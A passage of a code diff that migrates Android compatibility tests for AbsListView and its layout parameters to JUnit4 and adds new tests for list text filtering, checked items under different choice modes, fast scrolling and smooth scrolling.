         mListView.setChoiceMode(ListView.CHOICE_MODE_MULTIPLE);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mListView.setItemChecked(0, false);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, false));
         mInstrumentation.waitForIdleSync();
         assertFalse(mListView.isLayoutRequested());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mListView.setItemChecked(0, false);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, false));
         assertFalse(mListView.isLayoutRequested());
     }
 
     @MediumTest
-    public void testSetItemChecked_singleModeSameValue()
-            throws Throwable {
+    @Test
+    public void testSetItemChecked_singleModeSameValue() throws Throwable {
         // Calling setItemChecked with the same value in single choice mode should not cause
         // requestLayout
         mListView.setChoiceMode(ListView.CHOICE_MODE_SINGLE);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mListView.setItemChecked(0, false);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, false));
         mInstrumentation.waitForIdleSync();
         assertFalse(mListView.isLayoutRequested());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mListView.setItemChecked(0, false);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, false));
         assertFalse(mListView.isLayoutRequested());
     }
 
     @MediumTest
-    public void testSetItemChecked_multipleModeDifferentValue()
-            throws Throwable {
+    @Test
+    public void testSetItemChecked_multipleModeDifferentValue() throws Throwable {
         // Calling setItemChecked with a different value in multiple choice mode should cause
         // requestLayout
         mListView.setChoiceMode(ListView.CHOICE_MODE_MULTIPLE);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mListView.setItemChecked(0, false);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, false));
         mInstrumentation.waitForIdleSync();
         assertFalse(mListView.isLayoutRequested());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mListView.setItemChecked(0, true);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, true));
         assertTrue(mListView.isLayoutRequested());
     }
 
     @MediumTest
-    public void testSetItemChecked_singleModeDifferentValue()
-            throws Throwable {
+    @Test
+    public void testSetItemChecked_singleModeDifferentValue() throws Throwable {
         // Calling setItemChecked with a different value in single choice mode should cause
         // requestLayout
         mListView.setChoiceMode(ListView.CHOICE_MODE_SINGLE);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mListView.setItemChecked(0, false);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, false));
         mInstrumentation.waitForIdleSync();
         assertFalse(mListView.isLayoutRequested());
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mListView.setItemChecked(0, true);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, true));
         assertTrue(mListView.isLayoutRequested());
     }
 
-    public void testLayoutChildren() {
-        /**
-         * the subclass ListView and GridView override this method, so we can not test
-         * this method.
-         */
+    @LargeTest
+    @Test
+    public void testTextFilter() throws Throwable {
+        setAdapter();
+
+        // Default state - no text filter
+        assertFalse(mListView.isTextFilterEnabled());
+        assertFalse(mListView.hasTextFilter());
+        assertTrue(TextUtils.isEmpty(mListView.getTextFilter()));
+
+        // Enable text filter and verify that while it's enabled, the filtering is
+        // still no on
+        mActivityRule.runOnUiThread(() -> mListView.setTextFilterEnabled(true));
+        assertTrue(mListView.isTextFilterEnabled());
+        assertFalse(mListView.hasTextFilter());
+        assertTrue(TextUtils.isEmpty(mListView.getTextFilter()));
+
+        // Verify the initial content of the list
+        assertEquals(COUNTRY_LIST.length, mListView.getCount());
+
+        // Set text filter to A - we expect four entries to be left displayed in the list
+        mActivityRule.runOnUiThread(() -> mListView.setFilterText("A"));
+        PollingCheck.waitFor(() -> mListView.getCount() == 4);
+        assertTrue(mListView.isTextFilterEnabled());
+        assertTrue(mListView.hasTextFilter());
+        assertTrue(TextUtils.equals("A", mListView.getTextFilter()));
+
+        // Set text filter to Ar - we expect three entries to be left displayed in the list
+        mActivityRule.runOnUiThread(() -> mListView.setFilterText("Ar"));
+        PollingCheck.waitFor(() -> mListView.getCount() == 3);
+        assertTrue(mListView.isTextFilterEnabled());
+        assertTrue(mListView.hasTextFilter());
+        assertTrue(TextUtils.equals("Ar", mListView.getTextFilter()));
+
+        // Clear text filter - we expect to go back to the initial content
+        mActivityRule.runOnUiThread(() -> mListView.clearTextFilter());
+        PollingCheck.waitFor(() -> mListView.getCount() == COUNTRY_LIST.length);
+        assertTrue(mListView.isTextFilterEnabled());
+        assertFalse(mListView.hasTextFilter());
+        assertTrue(TextUtils.isEmpty(mListView.getTextFilter()));
+
+        // Set text filter to Be - we expect four entries to be left displayed in the list
+        mActivityRule.runOnUiThread(() -> mListView.setFilterText("Be"));
+        PollingCheck.waitFor(() -> mListView.getCount() == 4);
+        assertTrue(mListView.isTextFilterEnabled());
+        assertTrue(mListView.hasTextFilter());
+        assertTrue(TextUtils.equals("Be", mListView.getTextFilter()));
+
+        // Set text filter to Q - we no entries displayed in the list
+        mActivityRule.runOnUiThread(() -> mListView.setFilterText("Q"));
+        PollingCheck.waitFor(() -> mListView.getCount() == 0);
+        assertTrue(mListView.isTextFilterEnabled());
+        assertTrue(mListView.hasTextFilter());
+        assertTrue(TextUtils.equals("Q", mListView.getTextFilter()));
     }
 
-    public void testFoo() {
-        /**
-         * Do not test these APIs. They are callbacks which:
-         *
-         * 1. The callback machanism has been tested in super class
-         * 2. The functionality is implmentation details, no need to test
-         */
+    @Test
+    public void testOnFilterComplete() throws Throwable {
+        // Note that we're not using spy() due to Mockito not being able to spy on ListView,
+        // at least yet.
+        final MyListView listView = new MyListView(mContext, mAttributeSet);
+
+        mActivityRule.runOnUiThread(() -> {
+            mActivityRule.getActivity().setContentView(listView);
+            listView.setAdapter(mCountriesAdapter);
+            listView.setTextFilterEnabled(true);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        // Set text filter to A - we expect four entries to be left displayed in the list
+        mActivityRule.runOnUiThread(() -> listView.setFilterText("A"));
+        PollingCheck.waitFor(() -> listView.getCount() == 4);
+        assertTrue(listView.isTextFilterEnabled());
+        assertTrue(listView.hasTextFilter());
+        assertTrue(TextUtils.equals("A", listView.getTextFilter()));
+
+        assertEquals(4, listView.getOnFilterCompleteCount());
     }
 
-    private static class MockOnScrollListener implements OnScrollListener {
-        private AbsListView mView;
-        private int mFirstVisibleItem;
-        private int mVisibleItemCount;
-        private int mTotalItemCount;
-        private int mScrollState;
-
-        private boolean mIsOnScrollCalled;
-        private boolean mIsOnScrollStateChangedCalled;
-
-        private MockOnScrollListener() {
-            mView = null;
-            mFirstVisibleItem = 0;
-            mVisibleItemCount = 0;
-            mTotalItemCount = 0;
-            mScrollState = -1;
-
-            mIsOnScrollCalled = false;
-            mIsOnScrollStateChangedCalled = false;
+    private static class PositionArrayAdapter<T> extends ArrayAdapter<T> {
+        public PositionArrayAdapter(Context context, int resource, List<T> objects) {
+            super(context, resource, objects);
         }
 
-        public void onScroll(AbsListView view, int firstVisibleItem,
-                int visibleItemCount, int totalItemCount) {
-            mView = view;
-            mFirstVisibleItem = firstVisibleItem;
-            mVisibleItemCount = visibleItemCount;
-            mTotalItemCount = totalItemCount;
-            mIsOnScrollCalled = true;
-        }
-
-        public void onScrollStateChanged(AbsListView view, int scrollState) {
-            mScrollState = scrollState;
-            mIsOnScrollStateChangedCalled = true;
-        }
-
-        public AbsListView getView() {
-            return mView;
-        }
-
-        public int getFirstVisibleItem() {
-            return mFirstVisibleItem;
-        }
-
-        public int getVisibleItemCount() {
-            return mVisibleItemCount;
-        }
-
-        public int getTotalItemCount() {
-            return mTotalItemCount;
-        }
-
-        public int getScrollState() {
-            return mScrollState;
-        }
-
-        public boolean isOnScrollCalled() {
-            return mIsOnScrollCalled;
-        }
-
-        public boolean isOnScrollStateChangedCalled() {
-            return mIsOnScrollStateChangedCalled;
-        }
-
-        public void reset() {
-            mIsOnScrollCalled = false;
-            mIsOnScrollStateChangedCalled = false;
-        }
-    }
-
-    private static class MockRecyclerListener implements RecyclerListener {
-        private View mView;
-
-        private MockRecyclerListener() {
-            mView = null;
-        }
-
-        public void onMovedToScrapHeap(View view) {
-            mView = view;
-        }
-
-        public View getView() {
-            return mView;
-        }
-    }
-
-    private static class MockOnItemLongClickListener implements OnItemLongClickListener {
-        private AdapterView<?> parent;
-        private View view;
-        private int position;
-        private long id;
-
-        public boolean onItemLongClick(AdapterView<?> parent, View view, int position, long id) {
-            this.parent = parent;
-            this.view = view;
-            this.position = position;
-            this.id = id;
-            return false;
-        }
-
-        public AdapterView<?> getParent() {
-            return parent;
-        }
-
-        public View getView() {
-            return view;
-        }
-
-        public int getPosition() {
+        @Override
+        public long getItemId(int position) {
             return position;
         }
 
-        public long getID() {
-            return id;
+        @Override
+        public boolean hasStableIds() {
+            return true;
         }
     }
 
+    private void verifyCheckedState(final long[] expectedCheckedItems) {
+        TestUtils.assertIdentical(expectedCheckedItems, mListView.getCheckedItemIds());
+
+        assertEquals(expectedCheckedItems.length, mListView.getCheckedItemCount());
+
+        final long expectedCheckedItemPosition =
+                (mListView.getChoiceMode() == AbsListView.CHOICE_MODE_SINGLE) &&
+                        (expectedCheckedItems.length == 1)
+                        ? expectedCheckedItems[0]
+                        : AbsListView.INVALID_POSITION;
+        assertEquals(expectedCheckedItemPosition, mListView.getCheckedItemPosition());
+
+        // Note that getCheckedItemPositions doesn't have a guarantee that it only holds
+        // true values, which is why we're not doing the size() == 0 check even in the initial
+        // state
+        TestUtils.assertTrueValuesAtPositions(
+                expectedCheckedItems, mListView.getCheckedItemPositions());
+    }
+
+    @MediumTest
+    @Test
+    public void testCheckedItemsUnderNoneChoiceMode() throws Throwable {
+        final ArrayList<String> items = new ArrayList<>(Arrays.asList(COUNTRY_LIST));
+        final ArrayAdapter<String> adapter = new PositionArrayAdapter<>(mContext,
+                android.R.layout.simple_list_item_1, items);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.setAdapter(adapter));
+
+        mActivityRule.runOnUiThread(
+                () -> mListView.setChoiceMode(AbsListView.CHOICE_MODE_NONE));
+        verifyCheckedState(new long[] {});
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(2, true));
+        verifyCheckedState(new long[] {});
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(4, true));
+        verifyCheckedState(new long[] {});
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(2, false));
+        verifyCheckedState(new long[] {});
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(4, false));
+        verifyCheckedState(new long[] {});
+    }
+
+    @MediumTest
+    @Test
+    public void testCheckedItemsUnderSingleChoiceMode() throws Throwable {
+        final ArrayList<String> items = new ArrayList<>(Arrays.asList(COUNTRY_LIST));
+        final ArrayAdapter<String> adapter = new PositionArrayAdapter<>(mContext,
+                android.R.layout.simple_list_item_1, items);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.setAdapter(adapter));
+
+        mActivityRule.runOnUiThread(
+                () -> mListView.setChoiceMode(AbsListView.CHOICE_MODE_SINGLE));
+        verifyCheckedState(new long[] {});
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(2, true));
+        verifyCheckedState(new long[] { 2 });
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(4, true));
+        verifyCheckedState(new long[] { 4 });
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(2, false));
+        verifyCheckedState(new long[] { 4 });
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(4, false));
+        verifyCheckedState(new long[] {});
+    }
+
+    @MediumTest
+    @Test
+    public void testCheckedItemsUnderMultipleChoiceMode() throws Throwable {
+        final ArrayList<String> items = new ArrayList<>(Arrays.asList(COUNTRY_LIST));
+        final ArrayAdapter<String> adapter = new PositionArrayAdapter<>(mContext,
+                android.R.layout.simple_list_item_1, items);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.setAdapter(adapter));
+
+        mActivityRule.runOnUiThread(
+                () -> mListView.setChoiceMode(AbsListView.CHOICE_MODE_MULTIPLE));
+        verifyCheckedState(new long[] {});
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(2, true));
+        verifyCheckedState(new long[] { 2 });
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(4, true));
+        verifyCheckedState(new long[] { 2, 4 });
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(2, false));
+        verifyCheckedState(new long[] { 4 });
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(4, false));
+        verifyCheckedState(new long[] {});
+    }
+
+    private void configureMultiChoiceModalState() throws Throwable {
+        final ArrayList<String> items = new ArrayList<>(Arrays.asList(COUNTRY_LIST));
+        final ArrayAdapter<String> adapter = new PositionArrayAdapter<>(mContext,
+                android.R.layout.simple_list_item_1, items);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.setAdapter(adapter));
+
+        // Configure a multi-choice mode listener to configure our test contextual action bar
+        // content. We will subsequently query that listener for calls to its
+        // onItemCheckedStateChanged method
+        mMultiChoiceModeListener =
+                mock(AbsListView.MultiChoiceModeListener.class);
+        doAnswer((InvocationOnMock invocation) -> {
+            final ActionMode actionMode = (ActionMode) invocation.getArguments() [0];
+            final Menu menu = (Menu) invocation.getArguments() [1];
+            actionMode.getMenuInflater().inflate(R.menu.cab_menu, menu);
+            return true;
+        }).when(mMultiChoiceModeListener).onCreateActionMode(
+                any(ActionMode.class), any(Menu.class));
+        mListView.setMultiChoiceModeListener(mMultiChoiceModeListener);
+
+        mActivityRule.runOnUiThread(
+                () -> mListView.setChoiceMode(AbsListView.CHOICE_MODE_MULTIPLE_MODAL));
+        verifyCheckedState(new long[] {});
+    }
+
+    @MediumTest
+    @Test
+    public void testCheckedItemsUnderMultipleModalChoiceMode() throws Throwable {
+        configureMultiChoiceModalState();
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(2, true));
+        verifyCheckedState(new long[] { 2 });
+        if (!isWatch()) {
+            verify(mMultiChoiceModeListener, times(1)).onItemCheckedStateChanged(
+                    any(ActionMode.class), eq(2), eq(2L), eq(true));
+        }
+
+        reset(mMultiChoiceModeListener);
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(4, true));
+        verifyCheckedState(new long[] { 2, 4 });
+        if (!isWatch()) {
+            verify(mMultiChoiceModeListener, times(1)).onItemCheckedStateChanged(
+                    any(ActionMode.class), eq(4), eq(4L), eq(true));
+        }
+
+        reset(mMultiChoiceModeListener);
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(2, false));
+        verifyCheckedState(new long[] { 4 });
+        if (!isWatch()) {
+            verify(mMultiChoiceModeListener, times(1)).onItemCheckedStateChanged(
+                    any(ActionMode.class), eq(2), eq(2L), eq(false));
+        }
+
+        reset(mMultiChoiceModeListener);
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(4, false));
+        verifyCheckedState(new long[] {});
+        mListView.setMultiChoiceModeListener(mMultiChoiceModeListener);
+        if (!isWatch()) {
+            verify(mMultiChoiceModeListener, times(1)).onItemCheckedStateChanged(
+                    any(ActionMode.class), eq(4), eq(4L), eq(false));
+        }
+    }
+
+    @LargeTest
+    @Test
+    public void testMultiSelectionWithLongPressAndTaps() throws Throwable {
+        if (isWatch()) {
+            return; // watch type devices do not support multichoice action mode
+        }
+        configureMultiChoiceModalState();
+
+        final int firstVisiblePosition = mListView.getFirstVisiblePosition();
+        final int lastVisiblePosition = mListView.getLastVisiblePosition();
+
+        // Emulate long-click on the middle item of the currently visible content
+        final int positionForInitialSelection = (firstVisiblePosition + lastVisiblePosition) / 2;
+        CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation,
+                mListView.getChildAt(positionForInitialSelection));
+        // wait until our listener has been notified that the item has been checked
+        verify(mMultiChoiceModeListener, within(1000)).onItemCheckedStateChanged(
+                any(ActionMode.class), eq(positionForInitialSelection),
+                eq((long) positionForInitialSelection), eq(true));
+        // and verify the overall checked state of our list
+        verifyCheckedState(new long[] { positionForInitialSelection });
+
+        if (firstVisiblePosition != positionForInitialSelection) {
+            // Tap the first element in our list
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation,
+                    mListView.getChildAt(firstVisiblePosition));
+            // wait until our listener has been notified that the item has been checked
+            verify(mMultiChoiceModeListener, within(1000)).onItemCheckedStateChanged(
+                    any(ActionMode.class), eq(firstVisiblePosition),
+                    eq((long) firstVisiblePosition), eq(true));
+            // and verify the overall checked state of our list
+            verifyCheckedState(new long[] { firstVisiblePosition, positionForInitialSelection });
+        }
+
+        // Scroll down
+        CtsTouchUtils.emulateScrollToBottom(mInstrumentation, mListView);
+        final int lastListPosition = COUNTRY_LIST.length - 1;
+        if (lastListPosition != positionForInitialSelection) {
+            // Tap the last element in our list
+            CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation,
+                    mListView.getChildAt(mListView.getChildCount() - 1));
+            // wait until our listener has been notified that the item has been checked
+            verify(mMultiChoiceModeListener, within(1000)).onItemCheckedStateChanged(
+                    any(ActionMode.class), eq(lastListPosition),
+                    eq((long) lastListPosition), eq(true));
+            // and verify the overall checked state of our list
+            verifyCheckedState(new long[] { firstVisiblePosition, positionForInitialSelection,
+                    lastListPosition });
+        }
+    }
+
+    // Helper method that emulates fast scroll by dragging along the right edge of our ListView.
+    private void verifyFastScroll() throws Throwable {
+        setAdapter();
+
+        final int lastVisiblePosition = mListView.getLastVisiblePosition();
+        if (lastVisiblePosition == (COUNTRY_LIST.length - 1)) {
+            // This can happen on very large screens - the entire content fits and there's
+            // nothing to scroll
+            return;
+        }
+
+        mActivityRule.runOnUiThread(() -> mListView.setFastScrollAlwaysVisible(true));
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mListView.isFastScrollEnabled());
+        assertTrue(mListView.isFastScrollAlwaysVisible());
+
+        final int[] listViewOnScreenXY = new int[2];
+        mListView.getLocationOnScreen(listViewOnScreenXY);
+
+        final int topEdgeY = listViewOnScreenXY[1];
+        final int bottomEdgeY = listViewOnScreenXY[1] + mListView.getHeight();
+        final int rightEdgeX = listViewOnScreenXY[0] + mListView.getWidth();
+
+        // Emulate a downwards gesture that should bring us all the way to the last element
+        // of the list (when fast scroll is enabled)
+        CtsTouchUtils.emulateDragGesture(mInstrumentation,
+                rightEdgeX - 1,              // X start of the drag
+                topEdgeY + 1,                // Y start of the drag
+                0,                           // X amount of the drag (vertical)
+                mListView.getHeight() - 2);  // Y amount of the drag (downwards)
+
+        assertEquals(COUNTRY_LIST.length - 1, mListView.getLastVisiblePosition());
+
+        // Emulate an upwards gesture that should bring us all the way to the first element
+        // of the list (when fast scroll is enabled)
+        CtsTouchUtils.emulateDragGesture(mInstrumentation,
+                rightEdgeX - 1,               // X start of the drag
+                bottomEdgeY - 1,              // Y start of the drag
+                0,                            // X amount of the drag (vertical)
+                -mListView.getHeight() + 2);  // Y amount of the drag (upwards)
+
+        assertEquals(0, mListView.getFirstVisiblePosition());
+    }
+
+    @LargeTest
+    @Test
+    public void testFastScroll() throws Throwable {
+        verifyFastScroll();
+    }
+
+    @LargeTest
+    @Test
+    public void testFastScrollStyle() throws Throwable {
+        mListView.setFastScrollStyle(R.style.FastScrollCustomStyle);
+
+        verifyFastScroll();
+    }
+
     /**
-     * MyListView for test
+     * MyListView for test.
      */
     private static class MyListView extends ListView {
         public MyListView(Context context) {
@@ -1010,5 +1214,17 @@
         public boolean isAfterTextChangedCalled() {
             return mIsAfterTextChangedCalled;
         }
+
+        private int mOnFilterCompleteCount = -1;
+
+        @Override
+        public void onFilterComplete(int count) {
+            super.onFilterComplete(count);
+            mOnFilterCompleteCount = count;
+        }
+
+        public int getOnFilterCompleteCount() {
+            return mOnFilterCompleteCount;
+        }
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java
index 7e88a19..3bb7d55 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java
@@ -16,37 +16,46 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
 
-
-import org.xmlpull.v1.XmlPullParser;
-
-import android.cts.util.WidgetTestUtils;
-import android.test.AndroidTestCase;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.AbsListView;
 import android.widget.AbsListView.LayoutParams;
 
-public class AbsListView_LayoutParamsTest extends AndroidTestCase {
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AbsListView_LayoutParamsTest {
+    private Context mContext;
     private AttributeSet mAttributeSet;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setup() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
         XmlPullParser parser = mContext.getResources().getXml(R.layout.abslistview_layout);
         WidgetTestUtils.beginDocument(parser, "ViewGroup_Layout");
         mAttributeSet = Xml.asAttributeSet(parser);
     }
 
+    @Test
     public void testConstructors() {
         int TEST_WIDTH = 25;
         int TEST_HEIGHT = 25;
         int TEST_HEIGHT2 = 30;
         AbsListView.LayoutParams layoutParams;
 
-        layoutParams = new AbsListView.LayoutParams(getContext(), mAttributeSet);
+        layoutParams = new AbsListView.LayoutParams(mContext, mAttributeSet);
         assertEquals(TEST_WIDTH, layoutParams.width);
         assertEquals(TEST_HEIGHT, layoutParams.height);
 
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
new file mode 100644
index 0000000..41c2980
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
@@ -0,0 +1,694 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.Suppress;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewConfiguration;
+import android.view.ViewGroup;
+import android.widget.AbsListView;
+import android.widget.AbsListView.OnScrollListener;
+import android.widget.ArrayAdapter;
+import android.widget.BaseAdapter;
+import android.widget.ListView;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class AbsListView_ScrollTest {
+    private static final String[] COUNTRY_LIST = new String[] {
+            "Argentina", "Armenia", "Aruba", "Australia", "Belarus", "Belgium", "Belize", "Benin",
+            "Botswana", "Brazil", "Cameroon", "China", "Colombia", "Costa Rica", "Cyprus",
+            "Denmark", "Djibouti", "Ethiopia", "Fiji", "Finland", "France", "Gabon", "Germany",
+            "Ghana", "Haiti", "Honduras", "Iceland", "India", "Indonesia", "Ireland", "Italy",
+            "Japan", "Kiribati", "Laos", "Lesotho", "Liberia", "Malaysia", "Mongolia", "Myanmar",
+            "Nauru", "Norway", "Oman", "Pakistan", "Philippines", "Portugal", "Romania", "Russia",
+            "Rwanda", "Singapore", "Slovakia", "Slovenia", "Somalia", "Swaziland", "Togo", "Tuvalu",
+            "Uganda", "Ukraine", "United States", "Vanuatu", "Venezuela", "Zimbabwe"
+    };
+
+    @Rule
+    public ActivityTestRule<ListViewFixedCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ListViewFixedCtsActivity.class);
+
+    private Instrumentation mInstrumentation;
+    private AbsListView mListView;
+    private Context mContext;
+    private ArrayAdapter<String> mCountriesAdapter;
+    private int mRowHeightPx;
+
+    @Before
+    public void setup() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+
+        final Activity activity = mActivityRule.getActivity();
+
+        PollingCheck.waitFor(() -> activity.hasWindowFocus());
+
+        mCountriesAdapter = new ArrayAdapter<>(mContext,
+                R.layout.listitemfixed_layout, COUNTRY_LIST);
+
+        mListView = (ListView) activity.findViewById(R.id.listview_default);
+        mActivityRule.runOnUiThread(() -> mListView.setAdapter(mCountriesAdapter));
+        mInstrumentation.waitForIdleSync();
+
+        mRowHeightPx = mContext.getResources().getDimensionPixelSize(R.dimen.listrow_height);
+    }
+
+    /**
+     * Listener that allows waiting for the end of a scroll. When the tracked
+     * {@link AbsListView} transitions to idle state, the passed {@link CountDownLatch}
+     * is notified.
+     */
+    private class ScrollIdleListListener implements OnScrollListener {
+        private CountDownLatch mLatchToNotify;
+
+        public ScrollIdleListListener(CountDownLatch latchToNotify) {
+            mLatchToNotify = latchToNotify;
+        }
+
+        @Override
+        public void onScrollStateChanged(AbsListView view, int scrollState) {
+            if (scrollState == OnScrollListener.SCROLL_STATE_IDLE) {
+                mListView.setOnScrollListener(null);
+                mLatchToNotify.countDown();
+            }
+        }
+
+        @Override
+        public void onScroll(AbsListView view, int firstVisibleItem, int visibleItemCount,
+                int totalItemCount) {
+        }
+    }
+
+    /**
+     * Listener that allows waiting until a specific position in the list becomes visible.
+     * When the tracked position in the {@link AbsListView} becomes visible, the passed
+     * {@link CountDownLatch} is notified.
+     */
+    private class ScrollPositionListListener implements AbsListView.OnScrollListener {
+        private CountDownLatch mLatchToNotify;
+        private int mTargetPosition;
+
+        public ScrollPositionListListener(CountDownLatch latchToNotify, int targetPosition) {
+            mLatchToNotify = latchToNotify;
+            mTargetPosition = targetPosition;
+        }
+
+        @Override
+        public void onScrollStateChanged(AbsListView view, int scrollState) {
+        }
+
+        @Override
+        public void onScroll(AbsListView view, int firstVisibleItem, int visibleItemCount,
+                int totalItemCount) {
+            // Is our target in current visible range?
+            int lastVisibleItem = firstVisibleItem + visibleItemCount - 1;
+            boolean isInRange = (mTargetPosition >= firstVisibleItem) &&
+                    (mTargetPosition <= lastVisibleItem);
+            if (!isInRange) {
+                return;
+            }
+
+            // Is our target also fully visible?
+            int visibleIndexOfTarget = mTargetPosition - firstVisibleItem;
+            View targetChild = mListView.getChildAt(visibleIndexOfTarget);
+            boolean isTargetFullyVisible = (targetChild.getTop() >= 0) &&
+                    (targetChild.getBottom() <= mListView.getHeight());
+            if (isTargetFullyVisible) {
+                mListView.setOnScrollListener(null);
+                mLatchToNotify.countDown();
+            }
+        }
+    }
+
+    private boolean isItemVisible(int position) {
+        return (position >= mListView.getFirstVisiblePosition()) &&
+                (position <= mListView.getLastVisiblePosition());
+    }
+
+    private void verifyScrollToPosition(int positionToScrollTo) throws Throwable {
+        final int firstVisiblePosition = mListView.getFirstVisiblePosition();
+        final int lastVisiblePosition = mListView.getLastVisiblePosition();
+
+        if ((positionToScrollTo >= firstVisiblePosition) &&
+                (positionToScrollTo <= lastVisiblePosition)) {
+            // If it's already on the screen, we won't have any real scrolling taking
+            // place, so our tracking based on scroll state change will time out. This
+            // is why we're returning here early.
+            return;
+        }
+
+        // Register a scroll listener on our ListView. The listener will notify our latch
+        // when the scroll state changes to IDLE. If that never happens, the latch will
+        // time out and fail the test.
+        final CountDownLatch latch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new ScrollIdleListListener(latch));
+        mActivityRule.runOnUiThread(() -> mListView.smoothScrollToPosition(
+                positionToScrollTo));
+
+        assertTrue("Timed out while waiting for the scroll to complete",
+                latch.await(2, TimeUnit.SECONDS));
+
+        // Verify that the position we've been asked to scroll to is visible
+        assertTrue("Asked to scroll to " + positionToScrollTo + ", first visible is "
+                + mListView.getFirstVisiblePosition() + ", last visible is "
+                + mListView.getLastVisiblePosition(), isItemVisible(positionToScrollTo));
+    }
+
+    @Test
+    public void testSmoothScrollToPositionDownUpDown() throws Throwable {
+        final int itemCount = COUNTRY_LIST.length;
+
+        // Scroll closer to the end of the list
+        verifyScrollToPosition(itemCount - 10);
+        // Scroll back towards the beginning of the list
+        verifyScrollToPosition(5);
+        // And then towards the end of the list again
+        verifyScrollToPosition(itemCount - 1);
+        // And back up to the middle of the list
+        verifyScrollToPosition(itemCount / 2);
+    }
+
+    @Test
+    public void testSmoothScrollToPositionEveryRow() throws Throwable {
+        final int itemCount = COUNTRY_LIST.length;
+
